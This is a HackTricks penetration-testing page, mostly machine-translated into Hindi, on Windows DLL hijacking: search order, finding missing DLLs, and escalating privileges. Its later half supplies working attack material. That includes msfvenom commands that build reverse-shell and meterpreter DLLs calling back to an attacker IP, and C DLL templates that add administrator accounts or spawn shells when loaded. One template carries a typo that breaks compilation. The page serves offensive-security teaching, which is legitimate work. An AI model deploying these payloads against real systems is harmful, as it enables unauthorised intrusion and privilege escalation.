Dll Hijacking

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

Basic Information

DLL Hijacking में एक विश्वसनीय एप्लिकेशन को एक दुर्भावनापूर्ण DLL लोड करने के लिए हेरफेर करना शामिल है। यह शब्द कई रणनीतियों को शामिल करता है जैसे DLL Spoofing, Injection, और Side-Loading। इसका मुख्य उपयोग कोड निष्पादन, स्थिरता प्राप्त करने, और, कम सामान्यतः, विशेषाधिकार वृद्धि के लिए किया जाता है। यहाँ वृद्धि पर ध्यान केंद्रित करने के बावजूद, हाइजैकिंग की विधि उद्देश्यों के बीच समान रहती है।

Common Techniques

DLL हाइजैकिंग के लिए कई विधियों का उपयोग किया जाता है, प्रत्येक की प्रभावशीलता एप्लिकेशन के DLL लोडिंग रणनीति पर निर्भर करती है:

  1. DLL Replacement: एक असली DLL को एक दुर्भावनापूर्ण DLL के साथ बदलना, वैकल्पिक रूप से DLL Proxying का उपयोग करके मूल DLL की कार्यक्षमता को बनाए रखना।

  2. DLL Search Order Hijacking: दुर्भावनापूर्ण DLL को एक खोज पथ में वैध DLL से पहले रखना, एप्लिकेशन के खोज पैटर्न का लाभ उठाना।

  3. Phantom DLL Hijacking: एक दुर्भावनापूर्ण DLL बनाना जिसे एक एप्लिकेशन लोड करेगा, यह सोचकर कि यह एक गैर-मौजूद आवश्यक DLL है।

  4. DLL Redirection: खोज पैरामीटर जैसे %PATH% या .exe.manifest / .exe.local फ़ाइलों को संशोधित करना ताकि एप्लिकेशन को दुर्भावनापूर्ण DLL की ओर निर्देशित किया जा सके।

  5. WinSxS DLL Replacement: WinSxS निर्देशिका में वैध DLL को एक दुर्भावनापूर्ण समकक्ष के साथ प्रतिस्थापित करना, यह विधि अक्सर DLL साइड-लोडिंग से जुड़ी होती है।

  6. Relative Path DLL Hijacking: उपयोगकर्ता-नियंत्रित निर्देशिका में दुर्भावनापूर्ण DLL रखना जिसमें कॉपी की गई एप्लिकेशन होती है, जो Binary Proxy Execution तकनीकों के समान होती है।

Finding missing Dlls

सिस्टम के अंदर गायब DLLs खोजने का सबसे सामान्य तरीका procmon को sysinternals से चलाना है, निम्नलिखित 2 फ़िल्टर सेट करना:

और केवल File System Activity दिखाना:

यदि आप सामान्य रूप से गायब dlls की तलाश कर रहे हैं तो आप इसे कुछ सेकंड के लिए चलने दें। यदि आप एक विशिष्ट निष्पादन योग्य के अंदर गायब dll की तलाश कर रहे हैं तो आपको "Process Name" "contains" "<exec name>" जैसे दूसरे फ़िल्टर को सेट करना चाहिए, इसे निष्पादित करें, और घटनाओं को कैप्चर करना बंद करें।

Exploiting Missing Dlls

विशेषाधिकार बढ़ाने के लिए, हमारे पास सबसे अच्छा मौका है कि हम एक dll लिख सकें जिसे एक विशेषाधिकार प्राप्त प्रक्रिया लोड करने की कोशिश करेगी किसी स्थान पर जहां इसे खोजा जाएगा। इसलिए, हम एक फ़ोल्डर में dll लिखने में सक्षम होंगे जहां dll पहले खोजा जाता है उस फ़ोल्डर से पहले जहां मूल dll है (अजीब मामला), या हम किसी फ़ोल्डर में लिखने में सक्षम होंगे जहां dll खोजा जाएगा और मूल dll किसी फ़ोल्डर में मौजूद नहीं है

Dll Search Order

Microsoft दस्तावेज़ के अंदर आप देख सकते हैं कि DLLs को विशेष रूप से कैसे लोड किया जाता है।

Windows एप्लिकेशन DLLs की खोज एक सेट के अनुसार करते हैं पूर्व-निर्धारित खोज पथ, एक विशेष अनुक्रम का पालन करते हुए। DLL हाइजैकिंग की समस्या तब उत्पन्न होती है जब एक हानिकारक DLL इन निर्देशिकाओं में से एक में रणनीतिक रूप से रखा जाता है, यह सुनिश्चित करते हुए कि इसे प्रामाणिक DLL से पहले लोड किया जाए। इसे रोकने के लिए एक समाधान यह है कि एप्लिकेशन को आवश्यक DLLs का संदर्भ देते समय पूर्ण पथ का उपयोग करना चाहिए।

आप 32-बिट सिस्टम पर DLL खोज क्रम नीचे देख सकते हैं:

  1. वह निर्देशिका जिससे एप्लिकेशन लोड हुआ।

  2. सिस्टम निर्देशिका। इस निर्देशिका का पथ प्राप्त करने के लिए GetSystemDirectory फ़ंक्शन का उपयोग करें।(C:\Windows\System32)

  3. 16-बिट सिस्टम निर्देशिका। इस निर्देशिका का पथ प्राप्त करने के लिए कोई फ़ंक्शन नहीं है, लेकिन इसे खोजा जाता है। (C:\Windows\System)

  4. Windows निर्देशिका। इस निर्देशिका का पथ प्राप्त करने के लिए GetWindowsDirectory फ़ंक्शन का उपयोग करें।

  5. (C:\Windows)

  6. वर्तमान निर्देशिका।

  7. PATH पर्यावरण चर में सूचीबद्ध निर्देशिकाएँ। ध्यान दें कि इसमें App Paths रजिस्ट्री कुंजी द्वारा निर्दिष्ट प्रति-एप्लिकेशन पथ शामिल नहीं है। DLL खोज पथ की गणना करते समय App Paths कुंजी का उपयोग नहीं किया जाता है।

यह डिफ़ॉल्ट खोज क्रम है जब SafeDllSearchMode सक्षम है। जब इसे अक्षम किया जाता है, तो वर्तमान निर्देशिका दूसरे स्थान पर बढ़ जाती है। इस सुविधा को अक्षम करने के लिए, HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode रजिस्ट्री मान बनाएं और इसे 0 पर सेट करें (डिफ़ॉल्ट सक्षम है)।

यदि LoadLibraryEx फ़ंक्शन को LOAD_WITH_ALTERED_SEARCH_PATH के साथ कॉल किया जाता है तो खोज उस निर्देशिका में शुरू होती है जिसमें निष्पादन योग्य मॉड्यूल है जिसे LoadLibraryEx लोड कर रहा है।

अंत में, ध्यान दें कि एक dll को केवल नाम के बजाय पूर्ण पथ निर्दिष्ट करते हुए लोड किया जा सकता है। उस मामले में वह dll केवल उस पथ में खोजा जाएगा (यदि dll की कोई निर्भरताएँ हैं, तो उन्हें केवल नाम से लोड किया गया माना जाएगा)।

खोज क्रम को बदलने के अन्य तरीके हैं लेकिन मैं उन्हें यहाँ समझाने नहीं जा रहा हूँ।

Exceptions on dll search order from Windows docs

Windows दस्तावेज़ में मानक DLL खोज क्रम के लिए कुछ अपवाद नोट किए गए हैं:

  • जब एक DLL जिसका नाम पहले से मेमोरी में लोड की गई एक DLL के साथ साझा होता है का सामना किया जाता है, तो सिस्टम सामान्य खोज को बायपास करता है। इसके बजाय, यह पहले पुनर्निर्देशन और एक मैनिफेस्ट के लिए जांच करता है, फिर मेमोरी में पहले से मौजूद DLL पर लौटता है। इस परिदृश्य में, सिस्टम DLL के लिए खोज नहीं करता है

  • यदि DLL को वर्तमान Windows संस्करण के लिए ज्ञात DLL के रूप में पहचाना जाता है, तो सिस्टम ज्ञात DLL के अपने संस्करण का उपयोग करेगा, साथ ही इसकी किसी भी निर्भर DLLs का, खोज प्रक्रिया को छोड़कर। रजिस्ट्री कुंजी HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs इन ज्ञात DLLs की एक सूची रखती है।

  • यदि एक DLL में निर्भरताएँ हैं, तो इन निर्भर DLLs की खोज इस तरह की जाती है जैसे कि उन्हें केवल उनके मॉड्यूल नामों द्वारा निर्दिष्ट किया गया हो, चाहे प्रारंभिक DLL को पूर्ण पथ के माध्यम से पहचाना गया हो या नहीं।

Escalating Privileges

Requirements:

  • एक प्रक्रिया की पहचान करें जो विभिन्न विशेषाधिकारों (क्षैतिज या पार्श्व आंदोलन) के तहत कार्य करती है या करेगी, जो एक DLL की कमी है।

  • सुनिश्चित करें कि किसी भी निर्देशिका के लिए लेखन पहुंच उपलब्ध है जिसमें DLL के लिए खोज की जाएगी। यह स्थान निष्पादन योग्य का निर्देशिका या सिस्टम पथ के भीतर एक निर्देशिका हो सकता है।

हाँ, आवश्यकताएँ खोजना जटिल हैं क्योंकि डिफ़ॉल्ट रूप से यह थोड़ा अजीब है कि एक विशेषाधिकार प्राप्त निष्पादन योग्य में एक dll की कमी हो और यह और भी अजीब है कि एक सिस्टम पथ फ़ोल्डर पर लेखन अनुमतियाँ हों (आप डिफ़ॉल्ट रूप से नहीं कर सकते)। लेकिन, गलत कॉन्फ़िगर किए गए वातावरण में यह संभव है। यदि आप भाग्यशाली हैं और आप आवश्यकताओं को पूरा करते हैं, तो आप UACME प्रोजेक्ट की जांच कर सकते हैं। भले ही प्रोजेक्ट का मुख्य लक्ष्य UAC को बायपास करना है, आप वहां एक PoC पा सकते हैं जो Windows संस्करण के लिए DLL हाइजैकिंग के लिए है जिसे आप उपयोग कर सकते हैं (संभवतः केवल उस फ़ोल्डर के पथ को बदलकर जहां आपके पास लेखन अनुमतियाँ हैं)।

ध्यान दें कि आप एक फ़ोल्डर में अपनी अनुमतियों की जांच कर सकते हैं:

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

और PATH के अंदर सभी फ़ोल्डरों की अनुमतियों की जांच करें:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

आप एक निष्पादन योग्य फ़ाइल के आयात और एक dll के निर्यात को भी जांच सकते हैं:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

For a full guide on how to abuse Dll Hijacking to escalate privileges with permissions to write in a System Path folder check:

Writable Sys Path +Dll Hijacking Privesc

Automated tools

Winpeas यह जांचेगा कि क्या आपके पास सिस्टम PATH के अंदर किसी भी फ़ोल्डर पर लिखने की अनुमति है। इस भेद्यता का पता लगाने के लिए अन्य दिलचस्प स्वचालित उपकरण हैं PowerSploit functions: Find-ProcessDLLHijack, Find-PathDLLHijack और Write-HijackDll.

Example

यदि आप एक exploitable परिदृश्य पाते हैं, तो इसे सफलतापूर्वक शोषण करने के लिए सबसे महत्वपूर्ण चीजों में से एक होगा एक dll बनाना जो कम से कम सभी कार्यों को निर्यात करता है जो executable इससे आयात करेगा। किसी भी तरह, ध्यान दें कि Dll Hijacking उपयोगी है ताकि मध्यम इंटीग्रिटी स्तर से उच्च (UAC को बायपास करते हुए) या उच्च इंटीग्रिटी से SYSTEM आप इस dll hijacking अध्ययन में एक मान्य dll कैसे बनाएं का उदाहरण पा सकते हैं जो निष्पादन के लिए dll hijacking पर केंद्रित है: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows इसके अलावा, अगले अनुभाग में आप कुछ बुनियादी dll कोड पा सकते हैं जो टेम्पलेट के रूप में या निष्क्रिय कार्यों के साथ एक dll बनाने के लिए उपयोगी हो सकते हैं।

Creating and compiling Dlls

Dll Proxifying

बुनियादी रूप से एक Dll proxy एक Dll है जो लोड होने पर आपके दुर्भावनापूर्ण कोड को निष्पादित करने में सक्षम है लेकिन साथ ही प्रदर्शित और काम करने के लिए सभी कॉल को असली पुस्तकालय में रिले करके

उपकरण DLLirant या Spartacus के साथ आप वास्तव में एक executable निर्दिष्ट कर सकते हैं और उस पुस्तकालय का चयन कर सकते हैं जिसे आप proxify करना चाहते हैं और एक proxified dll उत्पन्न कर सकते हैं या Dll निर्दिष्ट कर सकते हैं और एक proxified dll उत्पन्न कर सकते हैं

Meterpreter

Get rev shell (x64):

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

एक मीटरप्रेटर प्राप्त करें (x86):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

एक उपयोगकर्ता बनाएं (x86 मैंने x64 संस्करण नहीं देखा):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

आपका खुद का

ध्यान दें कि कई मामलों में, Dll जिसे आप संकलित करते हैं, को कई फ़ंक्शन निर्यात करने चाहिए जो पीड़ित प्रक्रिया द्वारा लोड किए जाएंगे, यदि ये फ़ंक्शन मौजूद नहीं हैं तो बाइनरी उन्हें लोड नहीं कर पाएगी और शोषण विफल हो जाएगा

// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}

संदर्भ

बग बाउंटी टिप: साइन अप करें Intigriti के लिए, एक प्रीमियम बग बाउंटी प्लेटफार्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है! आज ही https://go.intigriti.com/hacktricks पर हमारे साथ जुड़ें, और $100,000 तक की बाउंटी कमाना शुरू करें!

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Last updated